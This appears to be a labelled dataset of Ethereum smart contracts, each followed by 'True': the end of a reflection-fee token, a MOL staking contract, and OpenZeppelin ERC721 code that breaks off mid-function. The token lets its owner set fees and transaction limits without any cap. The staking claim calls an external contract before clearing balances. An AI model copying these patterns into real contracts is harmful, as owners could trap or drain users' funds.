_rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }

True

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/** *Submitted for verification at Etherscan.io on 2020-11-28 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } } abstract contract MOLContract { function balanceOf(address account) external view virtual returns (uint256); function transfer(address recipient, uint256 amount) external virtual returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external virtual returns (bool); } abstract contract RewardContract { function getLavaBalance() external view virtual returns (uint256); function giveLavaReward(address recipient, uint256 amount) external virtual returns (bool); } contract MOLStaker is Ownable { using SafeMath for uint256; MOLContract private _molContract; // mol token contract RewardContract private _rewardContract; // reward contract mapping (address => StakerInfo) private _stakeMap; // map for stakers address private _devWallet; // dev wallet address uint256 private _devLastClaimTimestamp; // dev wallet address address[] private _stakers; // staker's array uint256 private _totalStakedAmount = 0; // total staked amount uint256 private _minStakeAmount = 1e18; // min stakable amount uint256 private _rewardPortion = 10; // reward portion 10% uint256 private _rewardFee = 98; // reward fee 98%, rest for dev 2% uint256 private _taxFee = 3; // tax fee for transaction struct StakerInfo { uint256 stakedAmount; uint256 lastClaimTimestamp; uint256 rewardAmount; } // Events event Staked(address indexed staker, uint256 amount); event Unstaked(address indexed staker, uint256 amount); event Claim(address indexed staker, uint256 amount); constructor (MOLContract molContract, address devWallet) public { _molContract = molContract; _devWallet = devWallet; } function stake(uint256 amount) public { require( amount >= _minStakeAmount, "MOLStaker: stake amount is less than min stake amount." ); require( _molContract.transferFrom( _msgSender(), address(this), amount ), "MOLStaker: stake failed." ); uint256 taxAmount = amount.mul(_taxFee).div(100); uint256 realStakedAmount = amount.sub(taxAmount); uint256 currentTimestamp = uint256(now); if(_stakers.length == 0) _devLastClaimTimestamp = currentTimestamp; if(_stakeMap[_msgSender()].stakedAmount == 0) { _stakers.push(_msgSender()); _stakeMap[_msgSender()].lastClaimTimestamp = currentTimestamp; } else { _stakeMap[_msgSender()].rewardAmount = _stakeMap[_msgSender()].rewardAmount.add(calcReward(_msgSender(), currentTimestamp)); _stakeMap[_msgSender()].lastClaimTimestamp = currentTimestamp; } _stakeMap[_msgSender()].stakedAmount = _stakeMap[_msgSender()].stakedAmount.add(realStakedAmount); _totalStakedAmount = _totalStakedAmount.add(realStakedAmount); emit Staked(_msgSender(), realStakedAmount); } function unstake(uint256 amount) public { require( _stakeMap[_msgSender()].stakedAmount >= amount, "MOLStaker: unstake amount exceededs the staked amount." ); uint256 currentTimestamp = uint256(now); _stakeMap[_msgSender()].rewardAmount = _stakeMap[_msgSender()].rewardAmount.add(calcReward(_msgSender(), currentTimestamp)); _stakeMap[_msgSender()].lastClaimTimestamp = currentTimestamp; _stakeMap[_msgSender()].stakedAmount = _stakeMap[_msgSender()].stakedAmount.sub(amount); _totalStakedAmount = _totalStakedAmount.sub(amount); require( _molContract.transfer( _msgSender(), amount ), "MOLStaker: unstake failed." ); if(_stakeMap[_msgSender()].stakedAmount == 0) { _stakeMap[_msgSender()].lastClaimTimestamp = 0; for(uint i=0; i<_stakers.length; i++) { if(_stakers[i] == _msgSender()) { _stakers[i] = _stakers[_stakers.length-1]; _stakers.pop(); break; } } } emit Unstaked(_msgSender(), amount); } function claim() public { uint256 currentTimestamp = uint256(now); uint256 rewardAmount = _stakeMap[_msgSender()].rewardAmount.add(calcReward(_msgSender(), currentTimestamp)); _stakeMap[_msgSender()].lastClaimTimestamp = currentTimestamp; require( _rewardContract.giveLavaReward(_msgSender(), rewardAmount), "MOLStaker: claim failed." ); _stakeMap[_msgSender()].rewardAmount = 0; emit Claim(_msgSender(), rewardAmount); if(currentTimestamp.sub(_devLastClaimTimestamp) >= 86400) { rewardAmount = calcDevReward(currentTimestamp); _devLastClaimTimestamp = currentTimestamp; require( _rewardContract.giveLavaReward(_devWallet, rewardAmount), "MOLStaker: dev reward claim failed." ); emit Claim(_devWallet, rewardAmount); } } function endStake() external { unstake(_stakeMap[_msgSender()].stakedAmount); claim(); } function calcReward(address staker, uint256 currentTimestamp) private view returns (uint256) { if(_totalStakedAmount == 0) return 0; uint256 rewardPoolBalance = _rewardContract.getLavaBalance(); uint256 passTime = currentTimestamp.sub(_stakeMap[staker].lastClaimTimestamp); uint256 rewardAmountForStakers = rewardPoolBalance.mul(_rewardPortion).div(100).mul(_rewardFee).div(100); uint256 rewardAmount = rewardAmountForStakers.mul(passTime).div(86400).mul(_stakeMap[staker].stakedAmount).div(_totalStakedAmount); return rewardAmount; } function calcDevReward(uint256 currentTimestamp) private view returns (uint256) { uint256 rewardPoolBalance = _rewardContract.getLavaBalance(); uint256 passTime = currentTimestamp.sub(_devLastClaimTimestamp); uint256 rewardAmount = rewardPoolBalance.mul(_rewardPortion).div(100).mul(uint256(100).sub(_rewardFee)).div(100).mul(passTime).div(86400); return rewardAmount; } /** * Get store wallet */ function getRewardContract() external view returns (address) { return address(_rewardContract); } /** * Get total staked amount */ function getTotalStakedAmount() external view returns (uint256) { return _totalStakedAmount; } /** * Get reward amount of staker */ function getReward(address staker) external view returns (uint256) { return _stakeMap[staker].rewardAmount.add(calcReward(staker, now)); } /** * Get reward pool balance (LAVA) */ function getRewardPoolBalance() external view returns (uint256) { return _rewardContract.getLavaBalance(); } /** * Get last claim timestamp */ function getLastClaimTimestamp(address staker) external view returns (uint256) { return _stakeMap[staker].lastClaimTimestamp; } /** * Get staked amount of staker */ function getStakedAmount(address staker) external view returns (uint256) { return _stakeMap[staker].stakedAmount; } /** * Get min stake amount */ function getMinStakeAmount() external view returns (uint256) { return _minStakeAmount; } /** * Get rewards portion */ function getRewardPortion() external view returns (uint256) { return _rewardPortion; } /** * Get staker count */ function getStakerCount() external view returns (uint256) { return _stakers.length; } /** * Get rewards fee */ function getRewardFee() external view returns (uint256) { return _rewardFee; } /** * Get staked rank */ function getStakedRank(address staker) external view returns (uint256) { uint256 rank = 1; uint256 senderStakedAmount = _stakeMap[staker].stakedAmount; for(uint i=0; i<_stakers.length; i++) { if(_stakers[i] != staker && senderStakedAmount < _stakeMap[_stakers[i]].stakedAmount) rank = rank.add(1); } return rank; } /** * Set store wallet contract address */ function setRewardContract(RewardContract rewardContract) external onlyOwner returns (bool) { require(address(rewardContract) != address(0), 'MOLStaker: reward contract address should not be zero address.'); _rewardContract = rewardContract; return true; } /** * Set rewards portion in store balance. * ex: 10 => 10% */ function setRewardPortion(uint256 rewardPortion) external onlyOwner returns (bool) { require(rewardPortion >= 10 && rewardPortion <= 100, 'MOLStaker: reward portion should be in 10 ~ 100.'); _rewardPortion = rewardPortion; return true; } /** * Set rewards portion for stakers in rewards amount. * ex: 98 => 98% (2% for dev) */ function setRewardFee(uint256 rewardFee) external onlyOwner returns (bool) { require(rewardFee >= 96 && rewardFee <= 100, 'MOLStaker: reward fee should be in 96 ~ 100.' ); _rewardFee = rewardFee; return true; } }

True

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/** *Submitted for verification at Etherscan.io on 2022-02-14 */ // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}( data ); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require( owner != address(0), "ERC721: balance query for the zero address" ); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require( owner != address(0), "ERC721: owner query for nonexistent token" ); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), 